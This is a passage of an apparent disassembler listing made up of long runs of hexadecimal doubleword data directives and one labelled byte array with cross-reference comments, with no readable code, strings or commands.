		dd 6021225Dh, 88009A74h, 0CE2EB59h, 0B0C6F9h, 0C590603Eh
		dd 1D38DD17h, 0B8538600h, 773FFE7Eh, 0C3270052h, 0DB3E690Ch
		dd 4A0F4C5Bh, 0E0CC47BCh, 0B29ADC38h, 0D1240337h, 0E19B0FE7h
		dd 47EBD0E7h, 9014AA0h,	0ECCE05CFh, 0A060766Eh,	17553CDCh
		dd 264D5D24h, 0F4FD009Fh, 0A70C836Ah, 8163C938h, 276D55C8h
		dd 88607C71h, 83532ED9h, 2BF4072Ch, 0BE80EF0Eh,	19734AFAh
		dd 0F79EC602h, 805E8442h, 4BFE1C94h, 0F6C2007Eh, 0DBCD1476h
		dd 0DF00ABA4h, 841A8FD4h, 29B637h, 8693E252h, 0FE21BEE4h
		dd 672B4C00h, 0EDB71DDh, 32F095h, 0A4259D47h, 0D33B970Bh
		dd 5A5BCC03h, 0E72C90F5h, 10DC0AF0h, 0C2DF07F8h, 0E9AF2428h
		dd 0FC748F00h, 56005C51h, 0D3DA4819h, 0E17573Ah, 0C847C694h
		dd 0A8502600h, 0D9174A46h, 3809C355h, 0F86F837h, 538DBD32h
		dd 0FC7AC8E0h, 9D00CCF6h, 0E108A53Bh, 1FDA1657h, 18DC95ACh
		dd 0DD594825h, 5301F51Ch, 7942BF1Eh, 8090768Dh,	43F718FBh
		dd 0FE5C03FCh, 7E62314h, 18F3FF8h, 9ECDA103h, 0A0A29C29h
		dd 0F0ED3356h, 2E230039h, 69350BCBh, 0F6003FDBh, 2BA04317h
		dd 0A742BDh, 39682523h,	913A7B37h, 0FAE2D6F4h, 0ADF4EE00h
		dd 3BA6CD2Bh, 4A1D006Ch, 6DCC9D3Ch, 3E00A89Ah, 135D1F30h
		dd 0CD98F36h, 26B0CDCAh, 78755050h, 96081A1Fh, 0EC80479Eh
		dd 4C2B0683h, 9A700053h, 10EE508Ch, 1300B1C3h, 7F2375D2h
		dd 0A26AE3h, 99183748h,	47505DB7h, 0A55E8707h, 0E276B65h
		dd 0D39C9780h, 5B36009Dh, 0B3EFEAD7h, 73006350h, 86ABDFEh
		dd 0E6B8752Fh, 0B71303FAh, 253DBC59h, 0F05541B0h, 10B3CE00h
		dd 650D87A6h, 0B7CC00F7h, 0F4ED5212h, 8E18AA06h, 59C85E41h
		dd 0A5C61FF6h, 83FB810Ah, 20A9E708h, 8500CB7Bh,	0A624DEC1h
		dd 0ED397DCh, 4ADF2C9Eh, 3C872060h, 0B1039DA4h,	99554F86h
		dd 655CD0BDh, 400848E4h, 1C0C9300h, 80BFF15Ah, 0E7B71E01h
		dd 4B5F638Fh, 3E42E5E0h, 0D3004D06h, 28FA4A09h,	0A4038DDFh
		dd 0ED6BD537h, 0A7A00092h, 0D1755FC0h, 68020491h, 6B476F76h
		dd 228F6095h, 1DBE7D85h, 4005562Fh, 78BA0E6Eh, 0A3EC0CDEh
		dd 18C12A01h, 354B338Ah, 0FDFEECh, 0EE781AA5h, 9F67420Ah
		dd 0E700C779h, 0E4963B45h, 48EB8364h, 17C9085h,	2744896Ch
		dd 0C03DB575h, 8600822Bh, 0A85D6A5Bh, 7212A223h, 0AEC70014h
		dd 47451E43h, 0CD48DD63h, 9FD5830h, 0B6796Ch, 0EAE55530h
		dd 0EBF60092h, 0D465D971h, 2100D3E6h, 613B9E1Fh, 342A6DFh
		dd 555E244h, 17886560h,	16002AF1h, 221E0984h, 90B88711h
		dd 89803DB0h, 20DC2E80h, 106D2669h, 86B9FC07h, 54D3A502h
		dd 0D844D0BBh, 0A85B242Dh, 15060084h, 5D04F514h, 47D78000h
		dd 0F9012BEFh, 7CCB00A6h, 3B2389EEh, 1600AC9Dh,	3795677Eh
		dd 0B7322Dh, 0F9CBFAFFh, 0BAE9B45Ah, 6CDE4E00h,	58EB8AFBh
		dd 2BA50EA2h, 0DC54815Dh, 8BCF13h, 8E9DE778h, 0F300FE59h
		dd 7540B068h, 1C268D1Ah, 0CDEF70Ah, 5A88D5DAh, 0A93EF3B0h
		dd 0C08A0006h, 244E8C6Ah, 0A03401B1h, 0E62B3B86h, 0D0C24EEh
		dd 5FF0E890h, 0BE299D00h, 2C095CCBh, 72A7338h, 0D868C6E2h
		dd 0E64EF06Dh, 0AD00C102h, 0DE5239F0h, 195AB57h, 72D063D1h
		dd 30AACDDFh, 1E00234Ch, 6B1F3828h, 3E6F11B9h, 9E802F32h
		dd 0D1839B8Ch, 8A90626Dh, 24D56E00h, 854F3E1Ah,	840C1325h
		dd 6F304034h, 0A932AB86h
		dd 0BC65130Eh, 0F52C03A7h, 9C689815h, 233E00C4h, 4F21401Fh
		dd 0BE00FB2Ah, 0EFE32BBh, 0B69AD6h, 805A4902h, 5189E6Ch
		dd 0E681C48h, 0A1366D74h, 47DCE42Ch, 87C570h, 305938FBh
		dd 3563CC7Eh, 1CDE2800h, 4EBE6F7Ch, 0F9EA002Ch,	93453CF5h
		dd 11DBD48h, 5ECFA0F8h,	978880A3h, 3CC8B8h, 0CF4C60B6h
		dd 33DA9811h, 0D5362100h, 0BEF55D41h, 87B23918h, 7D211430h
		dd 0B00C074h, 8DC7FFFCh, 0EE056D6h, 0A5CC516h, 17BDC200h
		dd 83171A23h, 0AE00D837h, 3FBBFB59h, 3DEA023Bh,	0A273E655h
		dd 71C2E0D5h, 5A7E0046h, 257C1EBAh, 8200CA45h, 30A7CDC2h
		dd 3CE7A1C5h, 1F0706BDh, 0E4CC84h, 50688FA4h, 496A4000h
		dd 0CE44E504h, 65D8001Fh, 25BFE2B8h, 9900D6F6h,	14B67791h
		dd 1C4DAEh, 0FCF8F338h,	5728809h, 8E4BEC07h, 4A60B5E5h
		dd 3BE09Fh, 0EB8B1E02h,	0CED8E8ADh, 6215D00h, 0F0E55EA7h
		dd 13DF00D2h, 0E79B1F3Dh, 6E078759h, 28F37A70h,	173BB3B0h
		dd 0E37D3C5Bh, 0CE5E0073h, 0BDCD86DBh, 10F0AA83h, 0DD2A5207h
		dd 0C6202E15h, 74091EEh, 58366B7Dh, 0C0C3447Eh,	8AD74E40h
		dd 47AB5100h, 0BC434A29h, 0A31600F9h, 0F665CFBAh, 0B0E4483Bh
		dd 7C046201h, 2A2DD970h, 1EBA77D4h, 1FB92C25h, 4C27C7BFh
		dd 0FEDB80ECh, 2F00C77Dh, 82DCEE07h, 1D195E3Eh,	0C0C54EADh
		dd 3AB1CC09h, 9801410Dh, 129F6D69h, 7FE091DDh, 6A9D0FBDh
		dd 0DF64EA1Fh, 404880AFh, 8BB8C9B2h, 5B62A100h,	0B7E53F24h
		dd 4C21C0D0h, 0CAF1B07Eh, 0B9F7FD03h, 0E06CCFD1h, 78C998h
		dd 0B8435FE2h, 56090A3h, 5A26740Eh, 71E00407h, 98AEAC80h
		dd 0DB5F001Bh, 2B52B51Eh, 0ED03A1B8h, 0AF57FED1h, 7334C0C8h
		dd 41AA00BFh, 3FF6EA6Eh, 85005C98h, 0FC7581DDh,	0DF4610h
		dd 4926111Ch, 0EF8A9EFEh, 436F37B8h, 0A47CC980h, 481292E8h
		dd 169F8B90h, 6B850A80h, 9D6E5Fh, 0F4304479h, 4A143B0Dh
		dd 0A543D006h, 6183E71h, 87062D0Fh, 0D80029E9h,	0CC95CF66h
		dd 15F9164h, 949F8305h,	301DDB4Dh, 475C1A84h, 0D0123088h
		dd 4CEE154Eh, 791848A3h, 286719D0h, 18708C00h, 0BB6609EAh
		dd 0FE9D0EFAh, 9BA02202h, 0A6845AB6h, 6D824D00h, 0DFFD9876h
		dd 0E5F758B5h, 1C377200h, 3EB6A0FEh, 0C600777Ah, 0F3D1EAF0h
		dd 0F9515034h, 2C352870h, 0B0786Bh, 0A49607AAh,	5730F5DCh
		dd 729FC455h, 0C5FE0164h, 0FA101E85h, 0F3DFC1Ch, 280D200h
		dd 256BE3EBh, 2E30E0E2h, 81E0BE67h, 0D2F939B6h,	0B2A8700Fh
		dd 0D9755B02h, 0C0C89ABAh, 0B0E48Ch, 0E35412C3h, 3C7995ACh
		dd 0C8011494h, 0E2876BDCh, 1F7F5828h, 6CDFDAE8h, 3E9C0ED4h
		dd 121DE1C0h, 0A0759133h, 28B07201h, 0A91104E0h, 7E664020h
		dd 0F4AD3F84h, 8F484F80h, 82DAFD0Ch, 86C78500h,	932FDDA7h
		dd 0D7B8003Fh, 5345E5B9h, 81736698h, 0D790FE75h, 46B6C100h
		dd 0E2898D07h, 0D314007Ch, 0C3DA48DCh, 2F8BACCh, 36EEC1Eh
		dd 0B68480F9h, 0E8378F5Fh, 0CBE703DDh, 2692F6CDh, 186ED800h
		dd 7E032B2Eh, 3B98F8A5h, 0AE002C28h, 0A34D192Ah, 0AD00CB38h
		dd 26C5811h, 0B55F6Dh, 0EEEDA9B3h, 427319D8h, 6AB11C0Eh
		dd 0B68D4030h, 2A0E5Ch,	0B25D8F55h, 2E83DE79h, 4DC0E100h
		dd 0D8D7EEB7h, 80FC0F4Ch, 0F48088ABh, 9F082B76h, 0BF004390h
		dd 6A87CB0Ah, 0AD9436h,	5DFD4A83h, 23152FBAh, 0E2611424h
		dd 0A044A50Eh, 59365618h, 53EC000Fh, 0C0528BD3h, 0E300E78Fh
		dd 0BD371AD0h, 966FCCh,	0D6DEB77Ah, 2B888473h, 0D5391100h
		dd 2DFA87ACh, 0F5700034h, 3C085BF4h, 0FF005D7Fh, 0AFDCB93h
		dd 1DFBE58Fh, 80EA4116h, 0CF082D3Ah, 6C0E65BAh,	1CA30h
		dd 2C1FA3F7h, 100E005Dh, 7BC6C136h, 0AE00E74Ch,	0E1025027h
		dd 661B7Ah, 541CA979h, 0B66EAC0Fh, 0C2C7CB1Fh, 0DCF32680h
		dd 5AB1217h, 0BA488159h, 0F590801Bh, 5B028969h,	0F3C811F7h
		dd 58AE40E5h, 0CB85Fh, 91AC5D5Eh, 0F280E1BEh, 9300FD7Eh
		dd 59CD0DF8h, 789C58Dh,	0CAB7183Fh, 0F29BF040h,	82EA9A80h
		dd 4428324Bh, 0BEED0022h, 8293150Ah, 294BC510h,	0A5B08800h
		dd 125A4A2Eh, 0F8D240h,	9A144490h, 6C0063AFh, 0E8CA221Eh
		dd 210843Ah, 0BEE664DDh, 0F8E84BF6h, 0F5005AAFh, 3204BA8Bh
		dd 0EFE74Dh, 0DA516D2Ch, 1A4F7A77h, 36684A00h, 39ABF05Ch
		dd 1C00987Dh, 41FB61E9h, 9041C850h, 19782017h, 9C6D23Dh
		dd 746163Eh, 61E0849Ch,	140D03Bh, 8F8A5267h, 70A8826Dh
		dd 9200E77Eh, 305B4D38h, 78B5ECh, 35704376h, 3C0701A4h
		dd 0CCED5401h, 0E8974A04h, 1E7F93C4h, 0C74F4779h, 0D4BBA396h
		dd 5C8880ADh, 0E0EA7B6Ah, 2DFC9A01h, 7539042Eh,	586755E0h
		dd 9638EA2Bh, 0E50713FEh, 54200024h, 40F1ED61h,	0E4436C00h
		dd 0C670DE7Dh, 0B77E13h, 3AEAFCBh, 4BD39E2Dh, 24C15D3Bh
		dd 0AC3996A5h, 0A600900Ah, 55A9C52Fh, 0A87F94h,	353EED84h
		dd 26FCC27Fh, 1B311E00h, 720CD4CFh, 0EADF058Dh,	81A05551h
		dd 17683668h, 0D0F4ED43h, 3915FFCAh, 55004CB9h,	0B194C80Ch
		dd 690038CEh, 8881110Bh, 2702BB6Dh, 457808D9h, 2B5F8000h
		dd 15D25DDDh, 13EB7C10h, 0CD4E31h, 2A165002h, 400DC2Bh
		dd 62188B71h, 1D5F72h, 58D02C69h, 0A426C8A6h, 0FBD78103h
		dd 0D0F6C53Dh, 0FB972FCh, 0B32C8ED3h, 5663BDC0h, 0E6009DD1h
		dd 0CE735E32h, 0F817E9h, 7CD95466h, 0F3DB9B5Fh,	0A9F48700h
		dd 1ECDF933h, 4EBC0979h, 7C8085BDh, 82B2F288h, 12943Eh
		dd 0FCE952FFh, 249119h,	7EB46A46h, 0B8D8A9BAh, 41004DE4h
		dd 7C7313F7h, 75B2613Dh, 0F1A000E5h, 38E0B0FFh,	397643C8h
		dd 98597F3Ah, 8A6023C0h, 0BE41008Bh, 352E1403h,	0BA1944A6h
		dd 3B809809h, 5A1008F7h, 961087F1h, 0DE4DA403h,	200C35F8h
		dd 0B186FE7Dh, 0A5630F62h, 17608ABDh, 2E24079Eh, 9A68BE00h
		dd 80FF36A6h, 2250354h,	8871E5F2h, 0A707806h, 0F2900E64h
		dd 0A7961E7Fh, 0F6D24A98h, 602B9054h, 55E2E650h, 88DF3BC7h
		dd 63947C80h, 138677B4h, 2D23B500h, 0D1390B81h,	4B600EBh
		dd 5389455Fh, 4075F0C4h, 6152F500h, 839BE111h, 3E9E982Bh
		dd 5680FC0Fh, 90D6A042h, 0F00022FBh, 0C1C63FAEh, 0E05DB62h
		dd 0DA1CB715h, 0CBC9A880h, 7C7E7E93h, 8830E828h, 4D3E9B01h
		dd 7D80C00Bh, 2E5FFF1h,	0A4E5C6F1h, 9D8AAE5h, 8B5F0006h
		dd 4A071F88h, 0C3ECE087h, 8A55A406h, 0F5F109F9h, 0CE3E8243h
		dd 0EACF0651h, 3044760Fh, 0D5207C64h, 28AA1488h, 6AC36B3h
		dd 5BE19CCh, 0E5008E4h,	470FB2DCh, 7F8A369Eh, 6780445Fh
		dd 2CEB85Eh, 0C352308Dh, 0C10FD898h, 81FF6032h,	0BB45E070h
		dd 13500F6Bh, 7B5DC661h, 820B7E8Ch, 8B14B4D8h, 60F84595h
		dd 4DB29288h, 5E3603D5h, 46430E2Fh, 0F0AF0830h,	1BA83F2h
		dd 9FF5524Dh, 39C29B1h,	918BF1C4h, 8883BCF9h, 53FFF27Fh
		dd 4F5D21A0h, 0D18CAF00h, 0A4C8B103h, 0EB6403C1h, 0F995C6ABh
		dd 3CB30DD8h, 0E500D2E2h, 0F3F2D0FCh, 0EAF10F72h, 21B2025Ah
		dd 0ABBC9124h, 0BD783060h, 0D8284D00h, 6C575C73h, 0BB3E0029h
		dd 2AD249B1h, 0CE00B4EBh, 271FD0C0h, 23B3D8h, 0D69C2F01h
		dd 0DF24F5A4h, 0FAA11800h, 0CC9FFCB9h, 56CF0125h, 654432CEh
		dd 1180CB3Ah, 6B038B42h, 4FA7ECE7h, 74608F89h, 0F32345h
		dd 0AEE10E4h, 0B060400Bh, 0D75BD300h, 9D8B3684h, 0A24F0079h
		dd 33598627h, 10C07CC3h
		dd 341D1970h, 91650014h, 0DD1C2AF3h, 0A90278D8h, 0ADC90750h
		dd 0B3E5C14Eh, 1C168FE0h, 4FC358D2h, 0B5608DE5h, 19FB2E5Ch
		dd 58507D6Dh, 8B24041Fh, 9B10301Ah, 0FD1D695Dh,	58400331h
		dd 7919BDCAh, 3D92002Ah, 8846E58Bh, 443298A1h, 10212963h
		dd 3989273Eh, 96027808h, 35034EC8h, 1642224Fh, 22202D22h
		dd 9922AFB8h, 0F890274Ah, 0C28F2190h, 516D3471h, 0BA017680h
		dd 7D0E0011h, 0B12BFD9Eh, 0C70356C1h, 3391D98h,	0C5E980FBh
		dd 0C902004Ah, 0A85CAD69h, 780084C3h, 0A0E361CFh, 70F531Dh
		dd 9B30790Ah, 6A6C5137h, 0E5E0F705h, 0AF00B3C8h, 1C263AB8h
		dd 92D18Dh, 49D7B97Dh, 66F28624h, 0FD420200h, 0B246237Ch
		dd 78AF1E0Ah, 3E7440A4h, 0F29849B3h, 0D707B7E6h, 6163DA69h
		dd 740E5500h, 0F18A000Bh, 0F3BB6883h, 9E002415h, 0C1023651h
		dd 7E29490h, 0FBEB7E45h, 586330BBh, 197D3CFCh, 0D600447Eh
		dd 6977BA87h, 45F781h, 7865B251h, 0D2AFB61Fh, 3F62DC02h
		dd 803A32C3h, 34FDD4F8h, 0C79600A2h, 3DB70778h,	6200E35Eh
		dd 4CF6798Eh, 3855DC5Ah, 2C89929Ch, 0EB00A93Ch,	67CD91DDh
		dd 0FA0EFB00h, 0EB8AA075h, 0D90C3F4Bh, 64370980h, 0B63AAABh
		dd 0FB00CF73h, 0CA41CE59h, 305791h, 0DC69DAD9h,	0DBC7F0C5h
		dd 0F6927003h, 0D8A7C4D4h, 0ACAD20h, 9B52E232h,	0E4237A1Ah
		dd 60151D00h, 0A2086749h, 0D206073Fh, 57226B2Eh, 161C97E3h
		dd 68001033h, 43883D41h, 124F1D67h, 14842832h, 0CE147498h
		dd 6281E49Bh, 70265601h, 400671Ch, 0D01180C6h, 30BC2589h
		dd 0D6117B31h, 5C004276h, 0D0BE6A6h, 70E58761h,	8AA70979h
		dd 0F781CF96h, 24506CCDh, 2F0059B8h, 8219EAC9h,	0FEADAC3Ch
		dd 0FE7062h, 30B15A46h,	4AE5D53Bh, 1AF5003h, 0E0D7FD4Fh
		dd 0F38D71h, 0A9BB2773h, 540E1BABh, 100034E8h, 6DA545C3h
		dd 0F22C4A0Ch, 6677000Ah, 0F233AAEh, 0E300F9DEh, 8CC3A6D2h
		dd 7D8FD5h, 45CAA3E9h, 40D393D0h, 0B91F1D0Bh, 16490044h
		dd 8775B3h, 0AA3E7ABFh,	0FC2D08F3h, 0DA0AA91Fh,	0BC027780h
		dd 7AE68C25h, 0A2EC015Ch, 5026524Bh, 5ED1D860h,	41C9A4Ch
		dd 314438F6h, 0DAA0AA80h, 85EF0046h, 0FC86903Bh, 27007D5Ch
		dd 512D3CDCh, 0E7B9Eh, 0EC57FE63h, 0F5D3C97Ch, 0DD270A1Fh
		dd 663237C0h, 0ED9D67B2h, 70F60ECh, 2F56CC45h, 2A7610ACh
		dd 7700D78Fh, 17F25A6Eh, 0A0D61804h, 1D3AE88Ch,	47845087h
		dd 0C0A21A0Fh, 14F3F5F9h, 5FE0D207h, 0C0322F3Eh, 5DED0051h
		dd 7D03FF0Eh, 0E51F47ACh, 6B79A838h, 0E8E403C4h, 0EA17F407h
		dd 7A1E2101h, 7E1AC69Dh, 0BC42108Fh, 0F9013340h, 9012282Bh
		dd 300946EDh, 65F482h, 0EAA52A9Eh, 580586DAh, 2DF4DE3Bh
		dd 4B0CC6C1h, 0B7206C20h, 96FA78E0h, 0BD07F07Ah, 260B2F63h
		dd 0BBABA520h, 0B4AC00E0h, 82C2F295h, 8600194Dh, 0AA89B346h
		dd 0FCC307h, 25F01EE2h,	344EB14h, 0F780AD00h, 2655E7CAh
		dd 4977BBAh, 1DAC2B98h,	0A81CC03Dh, 0E7F020Dh, 0F178901Dh
		dd 40DA54CFh, 0B217F0BEh, 48C0EB23h, 0ACA2006Eh, 70CB8AA6h
		dd 0E500E658h, 0D2A3497Ah, 14E4CF1h, 0DE69A889h, 20205567h
		dd 0F23A9AD7h, 17E680B6h, 793745F0h, 472B3CBCh,	83E84B00h
		dd 6E0C8D85h, 9E50E202h, 40A53710h, 1761A0CCh, 81B6CAh
		dd 0C5E252C0h, 0DF00820Ah, 19ECFD89h, 0EE0C5CEEh, 42FE0088h
		dd 0E149CD69h, 29003048h, 4FD799F5h, 3E9C6Ch, 5D593A40h
		dd 0D9A77413h, 1EAB0700h, 0B9D88DF7h, 797787h, 3B28046Ch
		dd 35192CF9h, 0FFB6BD13h, 303849h, 3F9F40EDh, 6DF400ABh
		dd 0E0E99104h, 32002B96h, 26F55B24h, 0EE8C97h, 0CADB47CBh
		dd 7973AB1Dh, 0B9FD8212h, 53C0445Dh, 4F77F28Dh,	65103C5h
		dd 73DA1C15h, 12917480h, 0F414A300h, 2DD27011h,	156E0032h
		dd 0A88DB789h, 8C006176h, 0C56D8AEBh, 1F793Fh, 120FFB1Eh
		dd 80A1F851h, 8E956800h, 0C9E49B24h, 734A0402h,	0C04E07A4h
		dd 644C04F0h, 1786B200h, 722716A9h, 52FC008Eh, 7C44EC1Eh
		dd 2413976Ah, 5440A28Ch, 0D898DCB6h, 77BD00A1h,	0C5279EEBh
		dd 1AEADA86h, 65883C13h, 84B4F00Bh, 0F0C0288Ah,	1D61D468h
		dd 8F85EE02h, 0A494C1D1h, 43333602h, 0D043DE5Fh, 0F82DE800h
		dd 985B47A8h, 0F4A009Ch, 0B1CAF27Eh, 39002251h,	89BD5CAAh
		dd 7D7A03Bh, 0C0EC2DFDh, 5712F28Ch, 0ABC5E068h,	0E7DF8E00h
		dd 7C600F13h, 0EEAC0030h, 0CE46296Dh, 0C2E28CE1h, 1C637707h
		dd 0D36FD1E7h, 78125401h, 6E71EF09h, 5E5FA080h,	0CADA574Fh
		dd 1FA8430Ah, 5280DCC6h, 142092B8h, 0F88D1621h,	3DF8407Fh
		dd 718A42Bh, 0A6EB5F03h, 0E86434F3h, 7780731Fh,	4070E16Ch
		dd 257C000Dh, 41324CB9h, 3C0050CBh, 976BF740h, 14481113h
		dd 0E0A7838Fh, 0E2CD1F00h, 0D0F44B84h, 0E35BAD00h, 0E8ACBAC2h
		dd 7E0DFA4Ah, 0B07BFE3Bh, 0B92C032Ch, 0CF720740h, 0FA0143B0h
		dd 6BDE9E00h, 45C868D9h, 74E5E7FDh, 0B6993C4h, 0BD7285D4h
		dd 4BC5C900h, 9B03A712h, 70922983h, 495F996h, 6D9420h
		dd 14013738h, 0A6DCC088h, 8105F707h, 782A36Ah, 6F4F002Dh
		dd 0DDF62808h, 20AE2E00h, 0B4957A2Fh, 376338ABh, 1D79BF92h
		dd 0C76D801Ch, 5BC693DEh, 2CF5171Dh, 0DFD63483h, 3CA0FC39h
		dd 90B40FCDh, 8CBE7801h, 7F18C098h, 9FE0CE03h, 0E8513AD8h
		dd 1E20CBE1h, 124C87BAh, 9AD44042h, 59C161FEh, 0F682C62Ch
		dd 7DDAE800h, 0B18E28h,	9EDC2ABFh, 4997D4FFh, 66394404h
		dd 0BD8023F6h, 0E2ECE9C6h, 76860062h, 0F51237C4h, 0DF007F4Ch
		dd 79976578h, 0A9AA08h,	5B15D0FFh, 4543D105h, 58512200h
		dd 0F7912CD5h, 0C2711EACh, 7688C075h, 0BEF389F6h, 0FA2C100h
		dd 68D14284h, 96F047h, 2120E691h, 0ECB152DCh, 4B069501h
		dd 85F98B3Ah, 0E47FEAE8h, 1782031Ch, 0A10D5445h, 0AA49B39Fh
		dd 7C03BD2h, 1E028927h,	6B9485FAh, 842C40D6h, 0AA09001Bh
		dd 9972D87Ch, 670073C1h, 0B8F9312h, 0E6BA33DCh,	0B4A42FBCh
		dd 0C84FD800h, 0B60050E1h, 0FA94CA9Ah, 5A21BBh,	0B80256E7h
		dd 986E8048h, 5E006BB0h, 0BD302089h, 2D18CE8h, 0FF5BC995h
		dd 70E016F2h, 6F09E781h, 806B8440h, 0CEAE680Ch,	584C49F4h
		dd 0DC113876h, 0C887F73Fh, 50674770h, 0A90BD0A1h, 3CC2BD01h
		dd 225F4969h, 5BA0F0h, 5DAC0E97h, 0ABFB2D30h, 7AF48206h
		dd 1D8E555h, 7EC16C89h,	30AD6121h, 8270534Ah, 0C251EF00h
		dd 5797CB5Eh, 130A00C3h, 32AF38B4h, 0B316D531h,	82BC8FF3h
		dd 0BE005848h, 3DA174FAh, 700E2E1h, 0EE5A9856h,	850B50h
		dd 0E317E41Ch, 0C1088446h, 8260D37Bh, 81F96CD0h, 0F5B203C7h
		dd 5541036Dh, 1EAAA4B8h, 42002496h, 0C6B52809h,	15643AC5h
		dd 7448B200h, 521105A5h, 8DBE700h, 61B6CD68h, 0C0D849C5h
		dd 0F773AD00h, 0EE85E0B1h, 59663A00h, 4E21C81Dh, 3590A5h
		dd 536A2AEDh, 0C0235FD1h, 0D78B931Ch, 0F2004D97h, 35CBCF07h
		dd 0F1624F52h, 1361E039h, 0D8119B13h, 0E1546C40h, 4851F9CAh
		dd 2308C4F5h, 57007981h, 9C975598h, 3AD21CF3h, 7C270B2Dh
		dd 5047B4A0h, 7AE06CECh, 91F4B70Bh, 4B308036h, 2861DC6h
		dd 0B27EC2AFh, 6360DCF8h, 8038188Ah, 4CD48039h,	0FBAF83ECh
		dd 0DC5A3BEBh, 0B1850502h, 0CC683882h, 80B63A4h, 8004AFB6h
		dd 275DB254h, 49200E4Ah, 0C360D478h, 7EE86F44h,	9B8DB807h
		dd 47503E65h, 34BAE55h
		dd 6584EEBh, 0A180FE73h, 56C03A57h, 0CC889B32h,	0EA5FC97h
		dd 0EB3C8D6Ch, 0EAAC5200h, 0C2008355h, 6FF9A4DFh, 4CE46C8Eh
		dd 50004522h, 0F59AA3E9h, 6100B933h, 754CA8D3h,	65D57Bh
		dd 0A750161Bh, 0DD5676AEh, 62482FEEh, 0C2C509DCh, 0AF6CA00Fh
		dd 269EC723h, 129C2BCCh, 756820D0h, 9328DDBEh, 0B80085E6h
		dd 66A4239Dh, 7C6D60B0h, 0B3D0785h, 714F3AA5h, 0DC495E20h
		dd 0AC006748h, 0CF81C301h, 1B64FAh, 1C5BA70Ah, 2B3082CAh
		dd 4C294A00h, 6EA10EE8h, 0F8AF75B1h, 0D82D02E2h, 0BE2116DCh
		dd 3803F470h, 7A982A58h, 54B3E4D9h, 259EE01h, 801C07ECh
		dd 0FB7CA20h, 4AF9CCh, 4EE861B3h, 681A146Dh, 3AC45401h
		dd 9A3B5BC7h, 1F60CDE4h, 4CE3AACBh, 8CF81F41h, 0AD2B3618h
		dd 0EB27A70h, 25E88672h, 33A87C5h, 47AC77B4h, 0DA6BFFC8h
		dd 0FABB5C00h, 2EFE4030h, 0F3B80084h, 76B34366h, 584B70A9h
		dd 256ACC01h, 0D6ECDBEEh, 0D47BAAh, 5D152803h, 0A40193FAh
		dd 0F9317562h, 0BBF44386h, 0D2CED81Dh, 4BAC0043h, 5FB7189Dh
		dd 500B38A2h, 8530E4FCh, 0E4072030h, 0B3F701D6h, 4B128550h
		dd 0F663003Fh, 3AA97925h, 39385945h, 997F8077h,	135C1729h
		dd 0A3400F89h, 0F8C0AF22h, 570A7224h, 8C5E900h,	565D1ACDh
		dd 742F1726h, 872E1253h, 0D0D5705Ch, 0E3003CE5h, 4D22CB16h
		dd 1371CEEh, 0A2B73476h, 0D8A94367h, 4700CCF0h,	45B9C927h
		dd 2C5F33A6h, 7AA2C7h, 755AE4BAh, 3B7B6F2Dh, 41083600h
		dd 0DE90F42h, 56E3004Fh, 680B43B3h, 5F005282h, 7D6027E6h
		dd 1ED3D7h, 4D54C204h, 1D2F5E0Bh, 360056EEh, 2BE78392h
		dd 90ECE83Dh, 868900D8h, 2D7C9672h, 0E60023F9h,	0BC50607Fh
		dd 0E9FD17h, 5D58C8FCh,	37A37B85h, 4E0CCD01h, 5B68B5C5h
		dd 932EE8h, 0BD0B5331h,	0FBC11449h, 2215500h, 0DF2DA6E2h
		dd 1E7ABAh, 5B1B896Fh, 0C4D2940h, 0C106A07Ah, 9E0B268Dh
		dd 88000B0h, 682A4EA4h,	461FA172h, 1406F6Ch, 24E4CBEAh
		dd 0C4A73820h, 0F3356380h, 530943C2h, 0E7B1C700h, 5A136B2Ah
		dd 0CA4002Ch, 0E0FA5037h, 0E2905370h, 2000AC7Eh, 82E03A5h
		dd 0FAE6A6CEh, 0E77300BBh, 0C4D39B24h, 0B31D51FFh, 0DEC0CB2Ch
		dd 4384D6F7h, 69970718h, 0F053D9B8h, 0C7274C5Fh, 394F7201h
		dd 0ED6FD22Dh, 42F7A440h, 839E0045h, 21D5265Eh,	60016959h
		dd 419FC84Eh, 92DC3D01h, 64C20040h, 708347A1h, 521EE493h
		dd 1A809E1Bh, 634BFFC5h, 49C31F81h, 611840ECh, 0F7AE9B5Ch
		dd 38B7A800h, 6AAE767h,	0F9DB3D25h, 0D402930Fh,	43A9E160h
		dd 0B7007C90h, 23CDA37Dh, 200F73h, 0BBEFA4FAh, 0C4B1D31Eh
		dd 0A61C5C00h, 44EDFD8Fh, 0D2F80057h, 3B696A0Eh, 0E102044Bh
		dd 0A69B9161h, 0DF0A406Dh, 501DEC63h, 98E498D2h, 622B00B1h
		dd 5EAF2C64h, 0E3D065Ah, 98E381C9h, 1ECB8090h, 5CCF69D0h
		dd 7A00BA7Bh, 7ED3E27Dh, 0E5001613h, 446C1A8Ah,	276F20h
		dd 0EA297FD2h, 40E66A08h, 0C500B8F6h, 76D05738h, 15AF51h
		dd 93E5A754h, 0D97B6413h, 973F6703h, 2FB402h, 5C312770h
		dd 0AC9C2083h, 1C38FF00h, 211875EDh, 0E4040062h, 24833CF8h
		dd 10A1409Ch, 0D121CD7Bh, 8005E010h, 38C140Eh, 69BF84F8h
		dd 40CBE8C1h, 0FAD537F8h, 490D0062h, 77ABA480h,	7B4CC041h
		dd 263C006Ch, 0F8849BF5h, 0FAD4004Ah, 0E0093583h, 61304914h
		dd 391C60E6h, 6650C07Dh, 37FEC43Ch
		db 3Ch
byte_520045	db 7Bh,	0E3h, 3		; DATA XREF: ___:004385A8o
					; ___:004385C0o
		dd 958AB676h, 1209C04Bh, 0BBBE00EAh, 92F91C04h,	140AD91Dh
		dd 5CA99B80h, 40DB7D00h, 301F833Dh, 6661E920h, 530C448h
		dd 0DC63C8E8h, 1DC5006Dh, 7B25A04Ch, 3F00FEF7h,	0A95BAB5Fh
		dd 62A26h, 0CD109CD7h, 0D3F77238h, 3788B7Ah, 0EBA5C11Ch
		dd 140EEE47h, 0DE998099h, 0A88F10BAh, 166E798h,	0FF9B8249h
		dd 4002C3F0h, 98DB0D74h, 5C9D9C00h, 0F0F67429h,	0CFC26A9h
		dd 43551DEDh, 83CF4467h, 6C2430E6h, 7900CA40h, 0FA1DD7BCh
		dd 0A7E0751h, 0F049B680h, 1294817Fh, 827C5400h,	347BFE77h
		dd 143F61Eh, 387EEFBBh,	0E82E5C49h, 0FA0C8C3Bh,	40030C89h
		dd 7E8D1499h, 1A80F8FEh, 0CF4FC74Dh, 3F93Ch, 75782E1Dh
		dd 0F384221Eh, 94062980h, 491BF0D4h, 3F18DCB8h,	0A58FC83h
